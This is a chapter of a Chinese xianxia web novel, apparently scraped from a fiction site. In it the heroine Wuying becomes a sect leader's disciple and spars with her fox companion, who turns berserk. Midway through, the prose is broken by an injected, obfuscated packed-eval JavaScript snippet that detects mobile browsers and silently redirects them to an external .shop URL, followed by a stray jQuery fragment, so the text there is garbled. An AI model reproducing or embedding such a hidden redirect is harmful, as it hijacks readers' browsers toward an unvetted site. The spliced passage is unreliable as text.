文趣网 > 都市小说 > 师妹超强但修多情道 > 28. 荧惑妖星
    乌萦抬脚跨进门,空中漂浮数百颗玉牌,都隐隐发出微光。屋里很暗,那些玉牌就像黑夜里的萤火虫。

    “接着,注入灵力。”

    乌萦还没回过神,手里已经被抛进一块玉牌,看起来与那些漂浮的玉牌并无不同。只是最上方,多了一点金色碎星。

    她没在玉牌中感到恶意,扭头看看帝灵蕴,帝灵蕴也没有阻止的意思。

    那应当是无事。

    这样想着,乌萦将灵力输入玉牌。

    “开阳第五代宗主之一闻人敕,与乌萦成师徒之义。”

    声音幽幽从不知哪个犄角旮旯里钻出来,玉牌上赫然多了两个名字。

    师尊:闻人敕。

    徒儿:乌萦。

    乌萦:?

    “哎?”

    乌萦手里一空,玉牌已经被闻人敕抢了去,随手往半空一丢,混进漂浮的数百个玉牌里。

    乌萦眼眸微阔:“闻人尊上,这是何意?”

    “你我已经结成师徒,天地为证,日月为鉴。今后,你便是我闻人敕的亲传弟子。”

    “我、我……”乌萦一时被砸的晕乎,好一会儿才反应过来,行了一礼道:“拜见师尊。”

    灵根处传来波动,乌萦身形一晃,修为直冲灵河初期。

    “这是为何?”乌萦体内灵力乱窜,她顾不得其他,连忙坐下调息,吸收多出来的灵力。

    “在这里登记过的师徒,玉牌会从师尊处分出一份‘拜师礼’,这自然是我的拜师礼。”

    闻人敕摆摆手:“你好好吸收,我回去睡觉了。”

    乌萦:?

    方才你不是还很正经吗,是怎么突然跳到睡觉的!

    可惜她此时只能好生打坐调息,顾不得闻人敕去哪里。

    你会是我等的那个人吗?

    闻人敕背对乌萦,微微侧头,悄悄瞥了一眼。

    “好徒儿,好好修炼。”

    她留下一句话,登时跑没了影。

    直到深夜,乌萦才将涌进来的灵力消化掉。她身上疼得要死啊喂!

    她看看自己灵河初期的修为,又抬头望望空中漂浮的一众玉牌,她竟然就这样成了亲传弟子?

    亲、传、徒、子?

    那可是亲传弟子啊!

    乌萦拉着帝灵蕴出了门,那对弈的两位师尊,还坐在那里。桌上的棋局,已然变成了残局,谁也不比谁好多少。

    “两位师尊好。”乌萦恭恭敬敬行了一礼。

    “哦,你好啊,闻人宗主的徒儿。”一位师尊调笑道:“来找我们两个,是有什么不解的地方?”

    “是,还望师尊们解答。”

    “但说无妨。”

    “亲传弟子一个月给多少灵石?”

    “?”

    那师尊瞳孔轻颤,手里的棋子啪嗒掉在桌上。

    “哎哎哎,落子无悔。”另一位师尊赶忙拿棋子吃掉这位师尊的帥棋:“我赢了,周游,是我赢了,哈哈哈哈。”

    周游啧了声:“你们这对师徒,上辈子我欠你们了。”

    乌萦:……

    “师尊晚安,我先告辞了。”

    见那位输了棋的师尊脸色铁青,乌萦此时也不问了,拉着帝灵蕴一溜烟冲出大殿。

    “幸好我们跑得快,那师尊脸色好难看!”乌萦拍拍胸口,停在宿舍外:“进空间吧,我回去睡觉。”

    “好。”

    *

    虽说是亲传,乌萦并未感觉到与之前有什么不同。闻人敕并不像其他两位宗主一样,时时传授徒儿剑法。

    她几乎事事不管乌萦,好像除了挂了个亲传弟子的牌子,得了“拜师礼”,就没有任何不同。

    乌萦依旧每天和内门弟子们一起上课,最让人伤心的,大概就是亲传弟子不涨每月的灵石。

    迷茫了几日,那种修为突然提升了两个台阶的不真实感愈发强烈。如今她与云嫖姚切磋,有些施展不开。

    纠结半日,乌萦寻了后山一块偏僻地方。

    “九尾,来陪我对练。”

    九尾如今长期人形,乌萦已然适应。

    他保留了两只狐狸耳朵,偶尔会把一条尾巴也露出来,就比如现在。

    九尾抱着尾巴,眼眸微闪,嘴角上扬:“主人,那我可来了。”

    乌萦脚下异动,迅速翻身退开,数条藤蔓在她方才站着的地方挥舞。若是她没躲开,此时怕是要被裹成粽子。

    “六道轮转,天道剑。”

    乌萦选择直接强攻,九尾如今晋升一级,成了灵海初期。她灵河初期与他对练,无需顾忌。

    巨大虎头豹尾的巨兽朝前方猛冲,掀起一阵热浪。

    “喵喵喵——”小猫叽里咕噜的求救。

    他没有什么修为,要被热浪掀飞啦!

    帝灵蕴微微一抬手,给小猫套了个屏障。

    砰。

    火红色豹子撞在木藤编织的盾牌上,炸开一道白烟。

    乌萦瞳孔一缩:这么轻易就被化解了?

    “主人,小心了。”

    九尾抬手,灵力化作一把长鞭,破空呼啸般朝乌萦飞来。

    乌萦倒吸一口凉气,撒腿就跑。

    鞭影密集,乌萦找不到一点反击的机会,反而身上挨了好几下。

    “哎呦我……”乌萦嘴里的惊呼还没出口,嘴巴便被那绿色藤鞭缠上,紧接着,手臂脚踝也被缠绕,整个人被裹成一个长条,只露出一颗脑袋。

    乌萦:?

    “唔唔唔……”

    “主人”,九尾舔了舔唇。

    乌萦原本正像一条蚕宝宝一般,在地上艰难“涌动”。听到九尾叫她,总觉得声音怪怪的。她一抬头,吓得也不蛄蛹了。

    九尾一步步走到她身旁,掐着乌萦下巴让她直视自己:“主人,你看起来很美味。”

    眼底泛起诡异的冷光,瞳孔也撕裂般一分为二,四颗眼珠齐齐盯着乌萦,一眨不眨。

    你……九尾?

    乌萦心口砰砰直跳,九尾掐着她的力气很大。利爪全然伸了出来,在她脸上留下三道红痕。

    你冷静点,你怎么了,你难道有狂犬病?

    乌萦又使劲蛄蛹身体,心底哀嚎:狐狐,你睁开眼睛看看我,我不信你两眼空空。

    九尾狐眼底愈发鲜红,兴奋的九条尾巴都冒了出来:“主人,吃掉。”

    乌萦劝说无果,也不再废话。她眼眸微动,契约轮转,将九尾狐噗通压在地上。

    九尾嘴里溢出一丝喘息,半耷拉下脑袋,手臂青筋暴起。

    “唔唔唔……”

    你怎么了?

    乌萦嘴巴上还缠着藤蔓,含糊不清。

    “唔唔唔。”

    松开我。

    意识到情况不对,乌萦便催动契约,压着九尾狐给她扯开藤条。

    那边坐着的帝灵蕴与小猫也意识到不对劲,纷纷过来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17655595|205821||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,三颗脑袋就这么盯着嘶吼的九尾狐。

    “九尾,你怎么了?”

    九尾狐瞳孔染上血色,生出的双瞳紧缩,满是狂暴之色,还有一丝被契约压制的癫狂。

    “帝灵蕴,怎么办,他这是怎么回事,你知道吗?”

    帝灵蕴垂下眼:“他有时候会狂化,过一会儿就好了,无妨。”

    乌萦心底像被撕扯一般。

    虽说帝灵蕴说得平静,看起来似乎是常有的事。但她实实在在能看到九尾狐脸上的挣扎。

    若是这样的事时常发生,那九尾岂不是时常被狂化折磨?

    “殷九柃。”

    有契约压制,九尾狐动弹不得。乌萦抬手抚上他后颈:“六道轮转,人道剑。”

    人道剑虽说是剑法,但剑不出鞘。比起攻击,更像是束缚和疗愈。

    乌萦本想借此缓和九尾的痛苦,就不料一缕猩红煞气顺着淌进掌心。不等她做出反应,体内火焰便迫不及待钻了出来,将黑红色交织的东西尽数吞噬。

    “这又是什么。”

    乌萦心底愈发烦躁。

    围绕在她身上的谜团太多,每一个她都找不到答案。九尾为什么会这样?她到底为什么会来到这里,又为什么与这些神兽有纠葛。这具身体的原主人是她吗?

    “主人。”

    心绪烦躁之时,九尾的声音轻轻唤她。

    她压下心底的埋怨,抬头揉揉狐狸的脑袋:“你好了?我瞧瞧。嗯,眼睛恢复了。”

    她小心扒拉着九尾的眼皮,看着那诡异的重瞳消失,才松了口气。

    “主人,这是你的选择。”

    乌萦指尖一顿。九尾脸上神色自然恢复,只是被狂化折磨过后,血色淡去,唇色有些惨白。

    她很少见到九尾狐这般正色。

    “方才你用人道剑试图疗愈我,靠太近,你的心声我听到了。”

    “谁让你偷听的。”乌萦哼了声,捏他耳朵:“坏狐狸。”

    小猫凑过来:“喵喵喵。”

    听到什么了?

    九尾耳朵被揉得泛起一片绯红,哼唧着往乌萦怀里钻,声音也轻飘飘起来:“我不知道发生了什么,但我可以肯定。如今的一切,是主人自己的选择。您说您需要这条路,这是唯一的办法。”

    “哦……”

    乌萦嘟囔道:“我就抱怨一下嘛,也被你听到了。”乌萦捏捏狐狸爪:“那你身上的异变呢,是为什么。”

    乌萦话音一顿,狐狸抬起头,耳朵尖尖时不时扫过她下颌。那狐狸趴在她胸口,闷闷哼唧。

    乌萦:!!!

    说话就说话,不要突然扑到这么尴尬的位置啊!

    “我是荧惑妖星。出生那日,血月当空,这种暴乱的凶煞之气便一直跟着我,不知道什么时候就会爆发。”

    狐狸可怜巴巴望着他,泪花在眼底打转:“主人,你会嫌弃我吗?”

    乌萦原本想扒拉开他脑袋的动作一顿,转而用掌心托起狐狸的下巴:“叽里咕噜说什么呢,听不懂。”

    她微微俯身,凑上去吧唧一口狐狸的脸颊。

    狐狸耳朵轻颤,眼尾耷拉着,埋头蹭她。

    他昂起头,轻轻吻上乌萦脸颊的红痕,湿漉漉的舌头碰了碰。

    “主人,我。”

    “住口。”在他或自责或煽情之前,乌萦捂住他的嘴,只留两个泪汪汪的大眼睛眨呀眨:“别说些让人掉眼泪的话。”